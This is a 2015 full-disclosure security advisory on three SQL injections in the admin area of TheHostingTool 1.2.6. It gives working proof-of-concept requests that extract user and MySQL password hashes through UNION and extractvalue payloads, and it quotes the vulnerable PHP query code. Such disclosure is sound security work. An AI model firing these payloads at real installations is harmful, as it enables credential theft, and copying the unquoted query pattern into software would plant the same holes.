TheHostingTool 1.2.6: Multiple SQL Injection

TheHostingTool 1.2.6: Multiple SQL Injection

Date: 2015-10-07 16:08:49
Security Advisory – Curesec Research Team

1. Introduction

Affected Product: TheHostingTool 1.2.6
Fixed in: not fixed
Fixed Version Link: n/a
Vendor Website:
Vulnerability Type: SQL Injection
Remote Exploitable: Yes
Reported to vendor: 09/07/2015
Disclosed to public: 10/07/2015
Release mode: Full Disclosure
CVE: n/a
Credits Tim Coen of curesec GmbH

2. Description

There are three SQL Injections in the admin area of TheHostingTool 1.2.6.

The problem is that the defense against SQL Injection depends in part on the global GET and POST variables being sanitized using mysql_real_escape_string if accessed via postvar or getvar.

This makes them relatively safe to use in a query if the parameter is surrounded by quotes. But for places where the parameter is not surrounded by quotes, this will not prevent SQL injection.

Please note that admin credentials are required for all SQL injections shown here.

3. Details

SQL Injection 1

The POST value "type" is used as the column name in a WHERE clause when using the ajax search. Encoding single quotes does not prevent SQL injection in this case.

It should also be noted that letting the user choose the column of a LIKE query on a user table is not a good idea in general, as it will be easy to iterate passwords this way.

Proof of Concept:

POST http://localhost/ecommerce/THTv1.2.6/includes/ajax.php?function=search type=user` %3D 1 union all select 1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 from tht_users %23&value=test


includes/ajax.php public function search() { global $main, $db, $style; if($_SESSION['logged']) { //echo '<script type="text/javascript" src="'.URL.'includes/javascript/jquerytooltip.js">'; $type = $main->postvar['type']; $value = $main->postvar['value']; if($main->postvar['num']) { $show = $main->postvar['num']; } else { $show = 10; } if($main->postvar['page'] != 1) { $lower = $main->postvar['page'] * $show; $lower = $lower - $show; $upper = $lower + $show; } else { $lower = 0; $upper = $show; } $query = $db->query("SELECT * FROM `<PRE>users`, `<PRE>user_packs` WHERE `{$type}` LIKE '%{$value}%' AND <PRE>user_packs.userid = <PRE> ORDER BY `{$type}` ASC LIMIT {$lower}, {$upper}");

SQL Injection 2

The POST value "order" is used in an update query of an ajax request. Single quotes are encoded, but the parameter is not surrounded by single quotes, thus making it unnecessary for an attacker to use single quotes, as they do not have to break out of the context of a string.

Proof of Concept:

POST http://localhost/ecommerce/THTv1.2.6/includes/ajax.php?function=navbar&action=order order=1-0 or extractvalue(1,concat(0x7e,(SELECT concat(password) FROM mysql.user limit 0,1)))


includes/ajax.php case "order": if(isset($P['order'])) { $ids = explode("-", $main->getvar['order']); $i = 0; foreach($ids as $id) { echo "updating: " . "UPDATE `navbar` SET `order` = {$i} WHERE `id` = {$id}"; $db->query("UPDATE `
navbar` SET `order` = {$i} WHERE `id` = {$id}");

SQL Injection 3

When updating the payment status of invoices, the "iid" GET parameter is put directly into multiple queries.

Proof of Concept:

http://ecommerce/THTv1.2.6/admin/?page=invoices&pay&iid=1' or extractvalue(1,concat(0x7e,(SELECT concat(password) FROM mysql.user limit 0,1))) %23


includes/class_invoice.php public function set_paid($iid) { # Pay the invoice by giving invoice id global $db, $server; $query = $db->query("UPDATE `<PRE>invoices` SET `is_paid` = '1' WHERE `id` = '{$iid}'"); $query2 = $db->query("SELECT `uid` FROM `<PRE>invoices` WHERE `id` = '{$iid}' LIMIT 1"); $data2 = $db->fetch_array($query2); $query3 = $db->query("SELECT `id` FROM `<PRE>user_packs` WHERE `userid` = '{$data2['uid']}'"); $data3 = $db->fetch_array($query3); $server->unsuspend($data3['id']); return $query; } admin/pages/invoices.php $invoice->set_paid($_GET['iid']);

4. Solution

This issue has not been fixed

5. Report Timeline

09/07/2015 Informed Vendor about Issue (no reply)
09/22/2015 Reminded Vendor of disclosure date (no reply)
10/07/2015 Disclosed to public